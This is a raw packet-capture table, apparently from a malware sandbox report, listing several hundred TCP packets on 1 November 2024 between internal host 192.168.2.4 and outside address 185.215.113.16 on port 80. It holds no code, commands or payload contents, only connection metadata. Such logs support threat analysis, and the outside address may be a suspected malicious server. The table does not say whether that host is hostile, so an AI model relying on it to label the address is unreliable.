Nov 1, 2024 10:57:20.001224041 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001239061 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001250982 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001251936 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.001272917 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.001297951 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.001353025 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001365900 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001377106 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001388073 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001394987 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.001398087 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001408100 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001410007 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.001414061 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001420021 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001437902 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.001533031 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.001698971 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001709938 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001720905 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001740932 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.001763105 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.001837015 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.001847982 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002013922 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002026081 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002036095 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002048969 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002049923 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002059937 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002070904 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002075911 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002082109 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002089024 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002094030 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002115011 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002136946 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002190113 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002202034 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002212048 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002223015 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002223015 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002234936 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002235889 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002249002 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002250910 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002260923 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002266884 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002273083 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002294064 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002309084 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002320051 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002335072 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002346039 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002361059 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002368927 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002388954 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002454042 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002468109 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002480030 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002490997 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002502918 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002502918 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002516031 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002540112 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002593994 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002779961 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002791882 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002804041 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002813101 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002815962 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002827883 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002827883 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002840996 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002856970 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002875090 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.002934933 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002959013 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002969980 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002981901 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.002994061 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003005981 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.003006935 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003030062 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.003045082 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.003078938 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003089905 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003101110 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003113031 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003118038 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.003123999 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003140926 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.003154039 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.003257036 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003273964 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003289938 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.003304958 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.003736019 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003750086 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003762007 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003770113 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.003773928 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003796101 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.003822088 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.003922939 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003935099 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003947020 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.003983974 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.004347086 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004358053 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004369020 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004406929 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.004507065 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004518986 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004528999 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004548073 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004549980 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.004560947 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004565001 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.004575014 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004594088 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.004616976 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.004669905 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004679918 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004697084 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004700899 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.004709005 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004729033 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.004751921 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.004853010 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004864931 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004874945 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004887104 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004898071 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004909992 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.004909992 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004920959 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004931927 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004941940 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004952908 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004954100 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.004971981 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.004986048 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.004990101 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.005004883 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005016088 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005027056 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005040884 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005049944 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.005064964 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.005079985 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.005398989 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005410910 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005419970 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005430937 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005440950 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.005441904 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005455971 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.005481005 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.005536079 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005548000 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005558968 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005568027 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.005569935 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005580902 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.005595922 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.005623102 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.082231998 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.082405090 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.082496881 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.082568884 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.082600117 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.082611084 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.082642078 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.083009005 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083024979 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083035946 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083048105 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083079100 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.083100080 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.083149910 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083209991 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083221912 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083231926 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083245039 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.083250999 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083251953 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.083268881 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.083285093 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.083333969 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083344936 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083376884 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.083673954 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083683014 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083698988 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083709955 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083734989 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.083751917 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.083981037 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.083991051 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084002972 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084016085 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084022999 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084039927 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084052086 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084256887 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084266901 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084278107 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084295034 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084322929 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084345102 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084356070 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084366083 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084376097 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084386110 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084397078 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084407091 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084424019 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084434032 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084434986 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084445953 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084456921 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084464073 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084466934 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084479094 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084485054 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084489107 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084505081 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084532022 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084824085 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084834099 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084850073 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084861040 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084862947 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084872007 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084877968 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084882975 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084893942 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084903955 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084913015 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084913969 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084924936 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084937096 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.084947109 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.084965944 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085419893 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085443974 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085454941 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085458040 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085484982 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085536957 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085547924 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085557938 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085568905 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085578918 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085594893 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085622072 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085673094 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085683107 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085695028 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085711002 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085711956 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085722923 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085722923 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085728884 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085735083 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085743904 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085756063 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085762978 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085778952 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085805893 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085818052 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085829973 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085844040 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085860014 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085870028 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085879087 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085879087 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085887909 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085900068 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085902929 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085912943 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085920095 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085932016 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085935116 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085944891 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085953951 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085954905 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085964918 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085967064 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085974932 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085982084 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.085984945 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.085994959 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086004972 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086005926 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086014986 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086018085 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086025953 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086035013 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086040974 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086050034 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086062908 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086065054 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086075068 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086083889 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086085081 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086095095 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086103916 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086113930 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086123943 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086128950 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086134911 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086144924 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086146116 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086155891 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086160898 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086167097 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086174011 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086177111 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086188078 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086196899 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086196899 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086215973 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086230040 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086397886 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086407900 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086416960 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086426973 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086432934 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086436987 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086448908 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086472988 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086488962 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086499929 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086507082 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086517096 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086524963 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086528063 CET	80	49878	185.215.113.16	192.168.2.4
